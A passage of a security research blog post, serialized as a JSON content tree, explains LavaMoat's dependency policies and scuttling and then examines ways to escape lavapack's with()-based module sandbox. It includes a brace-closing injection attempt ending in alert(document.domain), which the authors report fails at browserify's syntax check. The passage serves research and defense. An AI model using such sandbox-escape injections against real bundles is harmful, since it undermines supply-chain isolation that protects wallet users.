\"@metamask/providers\"",{"type":22,"tag":118,"props":49142,"children":49143},{"style":125},[49144],{"type":28,"value":38963},{"type":22,"tag":118,"props":49146,"children":49147},{"class":120,"line":142},[49148,49152,49156],{"type":22,"tag":118,"props":49149,"children":49150},{"style":1866},[49151],{"type":28,"value":38971},{"type":22,"tag":118,"props":49153,"children":49154},{"style":204},[49155],{"type":28,"value":213},{"type":22,"tag":118,"props":49157,"children":49158},{"style":125},[49159],{"type":28,"value":1474},{"type":22,"tag":118,"props":49161,"children":49162},{"class":120,"line":177},[49163,49168,49172,49176],{"type":22,"tag":118,"props":49164,"children":49165},{"style":1866},[49166],{"type":28,"value":49167},"        \"Event\"",{"type":22,"tag":118,"props":49169,"children":49170},{"style":204},[49171],{"type":28,"value":213},{"type":22,"tag":118,"props":49173,"children":49174},{"style":146},[49175],{"type":28,"value":1537},{"type":22,"tag":118,"props":49177,"children":49178},{"style":125},[49179],{"type":28,"value":782},{"type":22,"tag":118,"props":49181,"children":49182},{"class":120,"line":195},[49183,49187,49191,49195],{"type":22,"tag":118,"props":49184,"children":49185},{"style":1866},[49186],{"type":28,"value":39023},{"type":22,"tag":118,"props":49188,"children":49189},{"style":204},[49190],{"type":28,"value":213},{"type":22,"tag":118,"props":49192,"children":49193},{"style":146},[49194],{"type":28,"value":1537},{"type":22,"tag":118,"props":49196,"children":49197},{"style":125},[49198],{"type":28,"value":782},{"type":22,"tag":118,"props":49200,"children":49201},{"class":120,"line":244},[49202,49207,49211,49215],{"type":22,"tag":118,"props":49203,"children":49204},{"style":1866},[49205],{"type":28,"value":49206},"        \"chrome.runtime.connect\"",{"type":22,"tag":118,"props":49208,"children":49209},{"style":204},[49210],{"type":28,"value":213},{"type":22,"tag":118,"props":49212,"children":49213},{"style":146},[49214],{"type":28,"value":1537},{"type":22,"tag":118,"props":49216,"children":49217},{"style":125},[49218],{"type":28,"value":782},{"type":22,"tag":118,"props":49220,"children":49221},{"class":120,"line":253},[49222,49227,49231,49235],{"type":22,"tag":118,"props":49223,"children":49224},{"style":1866},[49225],{"type":28,"value":49226},"        \"console\"",{"type":22,"tag":118,"props":49228,"children":49229},{"style":204},[49230],{"type":28,"value":213},{"type":22,"tag":118,"props":49232,"children":49233},{"style":146},[49234],{"type":28,"value":1537},{"type":22,"tag":118,"props":49236,"children":49237},{"style":125},[49238],{"type":28,"value":782},{"type":22,"tag":118,"props":49240,"children":49241},{"class":120,"line":263},[49242,49247,49251,49255],{"type":22,"tag":118,"props":49243,"children":49244},{"style":1866},[49245],{"type":28,"value":49246},"        \"dispatchEvent\"",{"type":22,"tag":118,"props":49248,"children":49249},{"style":204},[49250],{"type":28,"value":213},{"type":22,"tag":118,"props":49252,"children":49253},{"style":146},[49254],{"type":28,"value":1537},{"type":22,"tag":118,"props":49256,"children":49257},{"style":125},[49258],{"type":28,"value":782},{"type":22,"tag":118,"props":49260,"children":49261},{"class":120,"line":318},[49262,49267,49271,49275],{"type":22,"tag":118,"props":49263,"children":49264},{"style":1866},[49265],{"type":28,"value":49266},"        \"document.createElement\"",{"type":22,"tag":118,"props":49268,"children":49269},{"style":204},[49270],{"type":28,"value":213},{"type":22,"tag":118,"props":49272,"children":49273},{"style":146},[49274],{"type":28,"value":1537},{"type":22,"tag":118,"props":49276,"children":49277},{"style":125},[49278],{"type":28,"value":782},{"type":22,"tag":118,"props":49280,"children":49281},{"class":120,"line":351},[49282,49287,49291,49295],{"type":22,"tag":118,"props":49283,"children":49284},{"style":1866},[49285],{"type":28,"value":49286},"        \"document.readyState\"",{"type":22,"tag":118,"props":49288,"children":49289},{"style":204},[49290],{"type":28,"value":213},{"type":22,"tag":118,"props":49292,"children":49293},{"style":146},[49294],{"type":28,"value":1537},{"type":22,"tag":118,"props":49296,"children":49297},{"style":125},[49298],{"type":28,"value":782},{"type":22,"tag":118,"props":49300,"children":49301},{"class":120,"line":359},[49302,49307,49311,49316],{"type":22,"tag":118,"props":49303,"children":49304},{"style":1866},[49305],{"type":28,"value":49306},"        \"ethereum\"",{"type":22,"tag":118,"props":49308,"children":49309},{"style":204},[49310],{"type":28,"value":213},{"type":22,"tag":118,"props":49312,"children":49313},{"style":1866},[49314],{"type":28,"value":49315}," \"write\"",{"type":22,"tag":118,"props":49317,"children":49318},{"style":125},[49319],{"type":28,"value":782},{"type":22,"tag":118,"props":49321,"children":49322},{"class":120,"line":368},[49323,49328,49332,49336],{"type":22,"tag":118,"props":49324,"children":49325},{"style":1866},[49326],{"type":28,"value":49327},"        \"location.hostname\"",{"type":22,"tag":118,"props":49329,"children":49330},{"style":204},[49331],{"type":28,"value":213},{"type":22,"tag":118,"props":49333,"children":49334},{"style":146},[49335],{"type":28,"value":1537},{"type":22,"tag":118,"props":49337,"children":49338},{"style":125},[49339],{"type":28,"value":782},{"type":22,"tag":118,"props":49341,"children":49342},{"class":120,"line":384},[49343,49347,49351,49355],{"type":22,"tag":118,"props":49344,"children":49345},{"style":1866},[49346],{"type":28,"value":39123},{"type":22,"tag":118,"props":49348,"children":49349},{"style":204},[49350],{"type":28,"value":213},{"type":22,"tag":118,"props":49352,"children":49353},{"style":146},[49354],{"type":28,"value":1537},{"type":22,"tag":118,"props":49356,"children":49357},{"style":125},[49358],{"type":28,"value":782},{"type":22,"tag":118,"props":49360,"children":49361},{"class":120,"line":417},[49362,49367,49371],{"type":22,"tag":118,"props":49363,"children":49364},{"style":1866},[49365],{"type":28,"value":49366},"        \"web3\"",{"type":22,"tag":118,"props":49368,"children":49369},{"style":204},[49370],{"type":28,"value":213},{"type":22,"tag":118,"props":49372,"children":49373},{"style":146},[49374],{"type":28,"value":48489},{"type":22,"tag":118,"props":49376,"children":49377},{"class":120,"line":425},[49378],{"type":22,"tag":118,"props":49379,"children":49380},{"style":125},[49381],{"type":28,"value":39140},{"type":22,"tag":118,"props":49383,"children":49384},{"class":120,"line":441},[49385,49389,49393],{"type":22,"tag":118,"props":49386,"children":49387},{"style":1866},[49388],{"type":28,"value":39148},{"type":22,"tag":118,"props":49390,"children":49391},{"style":204},[49392],{"type":28,"value":213},{"type":22,"tag":118,"props":49394,"children":49395},{"style":125},[49396],{"type":28,"value":1474},{"type":22,"tag":118,"props":49398,"children":49399},{"class":120,"line":475},[49400,49405,49409,49413],{"type":22,"tag":118,"props":49401,"children":49402},{"style":1866},[49403],{"type":28,"value":49404},"        \"@metamask/object-multiplex\"",{"type":22,"tag":118,"props":49406,"children":49407},{"style":204},[49408],{"type":28,"value":213},{"type":22,"tag":118,"props":49410,"children":49411},{"style":146},[49412],{"type":28,"value":1537},{"type":22,"tag":118,"props":49414,"children":49415},{"style":125},[49416],{"type":28,"value":782},{"type":22,"tag":118,"props":49418,"children":49419},{"class":120,"line":484},[49420,49425,49429],{"type":22,"tag":118,"props":49421,"children":49422},{"style":1866},[49423],{"type":28,"value":49424},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":22,"tag":118,"props":49426,"children":49427},{"style":204},[49428],{"type":28,"value":213},{"type":22,"tag":118,"props":49430,"children":49431},{"style":146},[49432],{"type":28,"value":48489},{"type":22,"tag":31,"props":49434,"children":49435},{},[49436,49437,49442,49444,49449,49451,49457],{"type":28,"value":2743},{"type":22,"tag":114,"props":49438,"children":49440},{"className":49439},[],[49441],{"type":28,"value":39213},{"type":28,"value":49443}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":22,"tag":114,"props":49445,"children":49447},{"className":49446},[],[49448],{"type":28,"value":39221},{"type":28,"value":49450}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":22,"tag":114,"props":49452,"children":49454},{"className":49453},[],[49455],{"type":28,"value":49456},"@metamask/providers",{"type":28,"value":49458}," interacts with other packages.",{"type":22,"tag":31,"props":49460,"children":49461},{},[49462,49464,49470],{"type":28,"value":49463},"To enforce these policies, LavaMoat uses ",{"type":22,"tag":114,"props":49465,"children":49467},{"className":49466},[],[49468],{"type":28,"value":49469},"lavapack",{"type":28,"value":49471},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":22,"tag":1899,"props":49473,"children":49475},{"id":49474},"npm-anti-hijacking",[49476],{"type":28,"value":49092},{"type":22,"tag":31,"props":49478,"children":49479},{},[49480],{"type":28,"value":49481},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":22,"tag":31,"props":49483,"children":49484},{},[49485,49487,49494],{"type":28,"value":49486},"Instead, Lavamoat looks at how each package is connected by ",{"type":22,"tag":42,"props":49488,"children":49491},{"href":49489,"rel":49490},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[46],[49492],{"type":28,"value":49493},"walking the modules",{"type":28,"value":49495}," in a project's dependency tree, thus generating a unique name for each package.",{"type":22,"tag":1899,"props":49497,"children":49499},{"id":49498},"scuttling",[49500],{"type":28,"value":49097},{"type":22,"tag":31,"props":49502,"children":49503},{},[49504,49506,49512],{"type":28,"value":49505},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":22,"tag":114,"props":49507,"children":49509},{"className":49508},[],[49510],{"type":28,"value":49511},"GlobalThis",{"type":28,"value":49513}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":22,"tag":31,"props":49515,"children":49516},{},[49517,49519,49525],{"type":28,"value":49518},"For example, ",{"type":22,"tag":42,"props":49520,"children":49523},{"href":49521,"rel":49522},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[46],[49524],{"type":28,"value":1377},{"type":28,"value":49526}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":22,"tag":107,"props":49528,"children":49530},{"className":33302,"code":49529,"language":33304,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[49531],{"type":22,"tag":114,"props":49532,"children":49533},{"__ignoreMap":7},[49534,49563,49613,49672,49679,49751],{"type":22,"tag":118,"props":49535,"children":49536},{"class":120,"line":121},[49537,49541,49545,49550,49554,49559],{"type":22,"tag":118,"props":49538,"children":49539},{"style":1480},[49540],{"type":28,"value":2159},{"type":22,"tag":118,"props":49542,"children":49543},{"style":125},[49544],{"type":28,"value":842},{"type":22,"tag":118,"props":49546,"children":49547},{"style":204},[49548],{"type":28,"value":49549},"scuttleOpts",{"type":22,"tag":118,"props":49551,"children":49552},{"style":125},[49553],{"type":28,"value":292},{"type":22,"tag":118,"props":49555,"children":49556},{"style":204},[49557],{"type":28,"value":49558},"enabled",{"type":22,"tag":118,"props":49560,"children":49561},{"style":125},[49562],{"type":28,"value":16783},{"type":22,"tag":118,"props":49564,"children":49565},{"class":120,"line":142},[49566,49570,49574,49578,49583,49587,49592,49596,49600,49604,49609],{"type":22,"tag":118,"props":49567,"children":49568},{"style":1480},[49569],{"type":28,"value":41228},{"type":22,"tag":118,"props":49571,"children":49572},{"style":125},[49573],{"type":28,"value":842},{"type":22,"tag":118,"props":49575,"children":49576},{"style":210},[49577],{"type":28,"value":22581},{"type":22,"tag":118,"props":49579,"children":49580},{"style":204},[49581],{"type":28,"value":49582},"Array",{"type":22,"tag":118,"props":49584,"children":49585},{"style":125},[49586],{"type":28,"value":292},{"type":22,"tag":118,"props":49588,"children":49589},{"style":532},[49590],{"type":28,"value":49591},"isArray",{"type":22,"tag":118,"props":49593,"children":49594},{"style":125},[49595],{"type":28,"value":540},{"type":22,"tag":118,"props":49597,"children":49598},{"style":204},[49599],{"type":28,"value":49549},{"type":22,"tag":118,"props":49601,"children":49602},{"style":125},[49603],{"type":28,"value":292},{"type":22,"tag":118,"props":49605,"children":49606},{"style":204},[49607],{"type":28,"value":49608},"exceptions",{"type":22,"tag":118,"props":49610,"children":49611},{"style":125},[49612],{"type":28,"value":37134},{"type":22,"tag":118,"props":49614,"children":49615},{"class":120,"line":177},[49616,49621,49625,49629,49633,49638,49642,49646,49651,49655,49659,49663,49668],{"type":22,"tag":118,"props":49617,"children":49618},{"style":1480},[49619],{"type":28,"value":49620},"        throw",{"type":22,"tag":118,"props":49622,"children":49623},{"style":146},[49624],{"type":28,"value":3442},{"type":22,"tag":118,"props":49626,"children":49627},{"style":532},[49628],{"type":28,"value":42225},{"type":22,"tag":118,"props":49630,"children":49631},{"style":125},[49632],{"type":28,"value":540},{"type":22,"tag":118,"props":49634,"children":49635},{"style":1866},[49636],{"type":28,"value":49637},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":22,"tag":118,"props":49639,"children":49640},{"style":146},[49641],{"type":28,"value":36048},{"type":22,"tag":118,"props":49643,"children":49644},{"style":146},[49645],{"type":28,"value":33342},{"type":22,"tag":118,"props":49647,"children":49648},{"style":204},[49649],{"type":28,"value":49650}," scuttleOpts",{"type":22,"tag":118,"props":49652,"children":49653},{"style":210},[49654],{"type":28,"value":292},{"type":22,"tag":118,"props":49656,"children":49657},{"style":204},[49658],{"type":28,"value":49608},{"type":22,"tag":118,"props":49660,"children":49661},{"style":146},[49662],{"type":28,"value":36080},{"type":22,"tag":118,"props":49664,"children":49665},{"style":1866},[49666],{"type":28,"value":49667},"\"`",{"type":22,"tag":118,"props":49669,"children":49670},{"style":125},[49671],{"type":28,"value":3665},{"type":22,"tag":118,"props":49673,"children":49674},{"class":120,"line":195},[49675],{"type":22,"tag":118,"props":49676,"children":49677},{"style":125},[49678],{"type":28,"value":14660},{"type":22,"tag":118,"props":49680,"children":49681},{"class":120,"line":244},[49682,49687,49691,49696,49700,49705,49709,49714,49718,49723,49727,49731,49735,49739,49743,49747],{"type":22,"tag":118,"props":49683,"children":49684},{"style":204},[49685],{"type":28,"value":49686},"      scuttleOpts",{"type":22,"tag":118,"props":49688,"children":49689},{"style":125},[49690],{"type":28,"value":292},{"type":22,"tag":118,"props":49692,"children":49693},{"style":532},[49694],{"type":28,"value":49695},"scuttlerFunc",{"type":22,"tag":118,"props":49697,"children":49698},{"style":125},[49699],{"type":28,"value":540},{"type":22,"tag":118,"props":49701,"children":49702},{"style":204},[49703],{"type":28,"value":49704},"globalRef",{"type":22,"tag":118,"props":49706,"children":49707},{"style":125},[49708],{"type":28,"value":231},{"type":22,"tag":118,"props":49710,"children":49711},{"style":204},[49712],{"type":28,"value":49713},"realm",{"type":22,"tag":118,"props":49715,"children":49716},{"style":146},[49717],{"type":28,"value":1532},{"type":22,"tag":118,"props":49719,"children":49720},{"style":532},[49721],{"type":28,"value":49722}," performScuttleGlobalThis",{"type":22,"tag":118,"props":49724,"children":49725},{"style":125},[49726],{"type":28,"value":540},{"type":22,"tag":118,"props":49728,"children":49729},{"style":204},[49730],{"type":28,"value":49713},{"type":22,"tag":118,"props":49732,"children":49733},{"style":125},[49734],{"type":28,"value":231},{"type":22,"tag":118,"props":49736,"children":49737},{"style":204},[49738],{"type":28,"value":49549},{"type":22,"tag":118,"props":49740,"children":49741},{"style":125},[49742],{"type":28,"value":292},{"type":22,"tag":118,"props":49744,"children":49745},{"style":204},[49746],{"type":28,"value":49608},{"type":22,"tag":118,"props":49748,"children":49749},{"style":125},[49750],{"type":28,"value":3334},{"type":22,"tag":118,"props":49752,"children":49753},{"class":120,"line":253},[49754],{"type":22,"tag":118,"props":49755,"children":49756},{"style":125},[49757],{"type":28,"value":1254},{"type":22,"tag":31,"props":49759,"children":49760},{},[49761,49763,49769,49771,49777],{"type":28,"value":49762},"Subsequently, the code defines a ",{"type":22,"tag":42,"props":49764,"children":49767},{"href":49765,"rel":49766},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[46],[49768],{"type":28,"value":33316},{"type":28,"value":49770}," called ",{"type":22,"tag":114,"props":49772,"children":49774},{"className":49773},[],[49775],{"type":28,"value":49776},"generateScuttleOpts",{"type":28,"value":49778}," that creates and returns an options object.",{"type":22,"tag":31,"props":49780,"children":49781},{},[49782,49784,49790,49791,49797,49799,49804,49806,49812],{"type":28,"value":49783},"Finally, the ",{"type":22,"tag":114,"props":49785,"children":49787},{"className":49786},[],[49788],{"type":28,"value":49789},"performScuttleGlobalThis",{"type":28,"value":8467},{"type":22,"tag":42,"props":49792,"children":49795},{"href":49793,"rel":49794},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[46],[49796],{"type":28,"value":33316},{"type":28,"value":49798}," modifies the properties of the global object (",{"type":22,"tag":114,"props":49800,"children":49802},{"className":49801},[],[49803],{"type":28,"value":49704},{"type":28,"value":49805},"). It starts by creating an array ",{"type":22,"tag":114,"props":49807,"children":49809},{"className":49808},[],[49810],{"type":28,"value":49811},"props",{"type":28,"value":49813},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":22,"tag":23,"props":49815,"children":49817},{"id":49816},"hacking-webpacks",[49818],{"type":28,"value":49819},"Hacking Webpacks",{"type":22,"tag":31,"props":49821,"children":49822},{},[49823],{"type":28,"value":49824},"Now let's get to the fun stuff.",{"type":22,"tag":31,"props":49826,"children":49827},{},[49828],{"type":28,"value":49829},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":22,"tag":107,"props":49831,"children":49833},{"className":33302,"code":49832,"language":33304,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[49834],{"type":22,"tag":114,"props":49835,"children":49836},{"__ignoreMap":7},[49837,49889,49901,49921,49938,49946,49954,49962,49970,49991,49999,50007,50015,50022,50029,50036],{"type":22,"tag":118,"props":49838,"children":49839},{"class":120,"line":121},[49840,49844,49849,49853,49858,49862,49867,49871,49876,49880,49885],{"type":22,"tag":118,"props":49841,"children":49842},{"style":146},[49843],{"type":28,"value":38129},{"type":22,"tag":118,"props":49845,"children":49846},{"style":204},[49847],{"type":28,"value":49848}," filename",{"type":22,"tag":118,"props":49850,"children":49851},{"style":210},[49852],{"type":28,"value":837},{"type":22,"tag":118,"props":49854,"children":49855},{"style":532},[49856],{"type":28,"value":49857}," encodeURI",{"type":22,"tag":118,"props":49859,"children":49860},{"style":125},[49861],{"type":28,"value":540},{"type":22,"tag":118,"props":49863,"children":49864},{"style":532},[49865],{"type":28,"value":49866},"String",{"type":22,"tag":118,"props":49868,"children":49869},{"style":125},[49870],{"type":28,"value":540},{"type":22,"tag":118,"props":49872,"children":49873},{"style":204},[49874],{"type":28,"value":49875},"moduleData",{"type":22,"tag":118,"props":49877,"children":49878},{"style":125},[49879],{"type":28,"value":292},{"type":22,"tag":118,"props":49881,"children":49882},{"style":204},[49883],{"type":28,"value":49884},"file",{"type":22,"tag":118,"props":49886,"children":49887},{"style":125},[49888],{"type":28,"value":3334},{"type":22,"tag":118,"props":49890,"children":49891},{"class":120,"line":142},[49892,49896],{"type":22,"tag":118,"props":49893,"children":49894},{"style":146},[49895],{"type":28,"value":9860},{"type":22,"tag":118,"props":49897,"children":49898},{"style":204},[49899],{"type":28,"value":49900}," moduleWrapperSource\n",{"type":22,"tag":118,"props":49902,"children":49903},{"class":120,"line":177},[49904,49908,49912,49917],{"type":22,"tag":118,"props":49905,"children":49906},{"style":1480},[49907],{"type":28,"value":33333},{"type":22,"tag":118,"props":49909,"children":49910},{"style":125},[49911],{"type":28,"value":842},{"type":22,"tag":118,"props":49913,"children":49914},{"style":204},[49915],{"type":28,"value":49916},"bundleWithPrecompiledModules",{"type":22,"tag":118,"props":49918,"children":49919},{"style":125},[49920],{"type":28,"value":16783},{"type":22,"tag":118,"props":49922,"children":49923},{"class":120,"line":195},[49924,49929,49933],{"type":22,"tag":118,"props":49925,"children":49926},{"style":204},[49927],{"type":28,"value":49928},"    moduleWrapperSource",{"type":22,"tag":118,"props":49930,"children":49931},{"style":210},[49932],{"type":28,"value":837},{"type":22,"tag":118,"props":49934,"children":49935},{"style":1866},[49936],{"type":28,"value":49937}," `function(){\n",{"type":22,"tag":118,"props":49939,"children":49940},{"class":120,"line":244},[49941],{"type":22,"tag":118,"props":49942,"children":49943},{"style":1866},[49944],{"type":28,"value":49945},"      with (this.scopeTerminator) {\n",{"type":22,"tag":118,"props":49947,"children":49948},{"class":120,"line":253},[49949],{"type":22,"tag":118,"props":49950,"children":49951},{"style":1866},[49952],{"type":28,"value":49953},"        with (this.globalThis) {\n",{"type":22,"tag":118,"props":49955,"children":49956},{"class":120,"line":263},[49957],{"type":22,"tag":118,"props":49958,"children":49959},{"style":1866},[49960],{"type":28,"value":49961},"          return function() {\n",{"type":22,"tag":118,"props":49963,"children":49964},{"class":120,"line":318},[49965],{"type":22,"tag":118,"props":49966,"children":49967},{"style":1866},[49968],{"type":28,"value":49969},"            'use strict';\n",{"type":22,"tag":118,"props":49971,"children":49972},{"class":120,"line":351},[49973,49978,49982,49987],{"type":22,"tag":118,"props":49974,"children":49975},{"style":1866},[49976],{"type":28,"value":49977},"            // source: ",{"type":22,"tag":118,"props":49979,"children":49980},{"style":146},[49981],{"type":28,"value":36048},{"type":22,"tag":118,"props":49983,"children":49984},{"style":204},[49985],{"type":28,"value":49986},"filename",{"type":22,"tag":118,"props":49988,"children":49989},{"style":146},[49990],{"type":28,"value":481},{"type":22,"tag":118,"props":49992,"children":49993},{"class":120,"line":359},[49994],{"type":22,"tag":118,"props":49995,"children":49996},{"style":1866},[49997],{"type":28,"value":49998},"            return function (require, module, exports) {\n",{"type":22,"tag":118,"props":50000,"children":50001},{"class":120,"line":368},[50002],{"type":22,"tag":118,"props":50003,"children":50004},{"style":1866},[50005],{"type":28,"value":50006},"              __MODULE_CONTENT__\n",{"type":22,"tag":118,"props":50008,"children":50009},{"class":120,"line":384},[50010],{"type":22,"tag":118,"props":50011,"children":50012},{"style":1866},[50013],{"type":28,"value":50014},"            };\n",{"type":22,"tag":118,"props":50016,"children":50017},{"class":120,"line":417},[50018],{"type":22,"tag":118,"props":50019,"children":50020},{"style":1866},[50021],{"type":28,"value":10704},{"type":22,"tag":118,"props":50023,"children":50024},{"class":120,"line":425},[50025],{"type":22,"tag":118,"props":50026,"children":50027},{"style":1866},[50028],{"type":28,"value":1835},{"type":22,"tag":118,"props":50030,"children":50031},{"class":120,"line":441},[50032],{"type":22,"tag":118,"props":50033,"children":50034},{"style":1866},[50035],{"type":28,"value":14660},{"type":22,"tag":118,"props":50037,"children":50038},{"class":120,"line":475},[50039],{"type":22,"tag":118,"props":50040,"children":50041},{"style":1866},[50042],{"type":28,"value":50043},"    }`\n",{"type":22,"tag":31,"props":50045,"children":50046},{},[50047,50049,50055,50057,50063],{"type":28,"value":50048},"Lavapack uses ",{"type":22,"tag":114,"props":50050,"children":50052},{"className":50051},[],[50053],{"type":28,"value":50054},"with()",{"type":28,"value":50056}," proxies to restrict the objects accessible by the module, and ",{"type":22,"tag":114,"props":50058,"children":50060},{"className":50059},[],[50061],{"type":28,"value":50062},"__MODULE_CONTENT__",{"type":28,"value":50064}," is replaced by the content of a file required by the project being built.",{"type":22,"tag":1289,"props":50066,"children":50068},{"id":50067},"injection-not-so-simple",[50069],{"type":28,"value":50070},"Injection? Not So Simple",{"type":22,"tag":31,"props":50072,"children":50073},{},[50074,50076,50081],{"type":28,"value":50075},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":22,"tag":114,"props":50077,"children":50079},{"className":50078},[],[50080],{"type":28,"value":14647},{"type":28,"value":50082}," environment:",{"type":22,"tag":107,"props":50084,"children":50086},{"className":33302,"code":50085,"language":33304,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[50087],{"type":22,"tag":114,"props":50088,"children":50089},{"__ignoreMap":7},[50090,50103,50115,50127,50139,50146],{"type":22,"tag":118,"props":50091,"children":50092},{"class":120,"line":121},[50093,50098],{"type":22,"tag":118,"props":50094,"children":50095},{"style":125},[50096],{"type":28,"value":50097},"   } ",{"type":22,"tag":118,"props":50099,"children":50100},{"style":257},[50101],{"type":28,"value":50102},"// end function 1\n",{"type":22,"tag":118,"props":50104,"children":50105},{"class":120,"line":142},[50106,50110],{"type":22,"tag":118,"props":50107,"children":50108},{"style":125},[50109],{"type":28,"value":33407},{"type":22,"tag":118,"props":50111,"children":50112},{"style":257},[50113],{"type":28,"value":50114},"// end function 2\n",{"type":22,"tag":118,"props":50116,"children":50117},{"class":120,"line":177},[50118,50122],{"type":22,"tag":118,"props":50119,"children":50120},{"style":125},[50121],{"type":28,"value":38143},{"type":22,"tag":118,"props":50123,"children":50124},{"style":257},[50125],{"type":28,"value":50126},"// end with 1\n",{"type":22,"tag":118,"props":50128,"children":50129},{"class":120,"line":195},[50130,50134],{"type":22,"tag":118,"props":50131,"children":50132},{"style":125},[50133],{"type":28,"value":48814},{"type":22,"tag":118,"props":50135,"children":50136},{"style":257},[50137],{"type":28,"value":50138},"// end with 2\n",{"type":22,"tag":118,"props":50140,"children":50141},{"class":120,"line":244},[50142],{"type":22,"tag":118,"props":50143,"children":50144},{"emptyLinePlaceholder":15},[50145],{"type":28,"value":250},{"type":22,"tag":118,"props":50147,"children":50148},{"class":120,"line":253},[50149,50153,50157,50161,50165,50169],{"type":22,"tag":118,"props":50150,"children":50151},{"style":532},[50152],{"type":28,"value":34636},{"type":22,"tag":118,"props":50154,"children":50155},{"style":125},[50156],{"type":28,"value":540},{"type":22,"tag":118,"props":50158,"children":50159},{"style":204},[50160],{"type":28,"value":34646},{"type":22,"tag":118,"props":50162,"children":50163},{"style":125},[50164],{"type":28,"value":292},{"type":22,"tag":118,"props":50166,"children":50167},{"style":204},[50168],{"type":28,"value":34656},{"type":22,"tag":118,"props":50170,"children":50171},{"style":125},[50172],{"type":28,"value":3665},{"type":22,"tag":31,"props":50174,"children":50175},{},[50176,50178,50184,50186,50193],{"type":28,"value":50177},"However, when we tried to bundle it, a ",{"type":22,"tag":114,"props":50179,"children":50181},{"className":50180},[],[50182],{"type":28,"value":50183},"ParseError",{"type":28,"value":50185}," was thrown. This is because Lavapack is a plugin of ",{"type":22,"tag":42,"props":50187,"children":50190},{"href":50188,"rel":50189},"https://github.com/browserify/browserify",[46],[50191],{"type":28,"value":50192},"browserify",{"type":28,"value":50194},", which has a syntax check before replacing the code.",{"type":22,"tag":31,"props":50196,"children":50197},{},[50198,50200,50206,50208,50214,50216,50222,50224,50229],{"type":28,"value":50199},"Looking deeper into browserify, we find it has a ",{"type":22,"tag":114,"props":50201,"children":50203},{"className":50202},[],[50204],{"type":28,"value":50205},"syntax",{"type":28,"value":50207}," stage on it's pipeline, and uses the ",{"type":22,"tag":114,"props":50209,"children":50211},{"className":50210},[],[50212],{"type":28,"value":50213},"syntax-error",{"type":28,"value":50215}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":22,"tag":114,"props":50217,"children":50219},{"className":50218},[],[50220],{"type":28,"value":50221},"pack",{"type":28,"value":50223}," stage on browserify pipeline, which comes after the ",{"type":22,"tag":114,"props":50225,"children":50227},{"className":50226},[],[50228],{"type":28,"value":50205},{"type":28,"value":50230},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":22,"tag":31,"props":50232,"children":50233},{},[50234],{"type":22,"tag":5928,"props":50235,"children":50238},{"alt":50236,"src":50237},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":22,"tag":31,"props":50240,"children":50241},{},[50242,50243,50248,50250,50255],{"type":28,"value":2743},{"type":22,"tag":114,"props":50244,"children":50246},{"className":50245},[],[50247],{"type":28,"value":50213},{"type":28,"value":50249}," package performs a syntax check by using  ",{"type":22,"tag":114,"props":50251,"children":50253},{"className":50252},[],[50254],{"type":28,"value":39489},{"type":28,"value":50256}," with function hoisting:",{"type":22,"tag":107,"props":50258,"children":50260},{"className":33302,"code":50259,"language":33304,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[50261],{"type":22,"tag":114,"props":50262,"children":50263},{"__ignoreMap":7},[50264,50276,50326,50337,50344,50365,50406,50466,50507],{"type":22,"tag":118,"props":50265,"children":50266},{"class":120,"line":121},[50267,50272],{"type":22,"tag":118,"props":50268,"children":50269},{"style":1480},[50270],{"type":28,"value":50271},"try",{"type":22,"tag":118,"props":50273,"children":50274},{"style":125},[50275],{"type":28,"value":1474},{"type":22,"tag":118,"props":50277,"children":50278},{"class":120,"line":142},[50279,50284,50288,50293,50297,50302,50306,50311,50317,50322],{"type":22,"tag":118,"props":50280,"children":50281},{"style":532},[50282],{"type":28,"value":50283},"    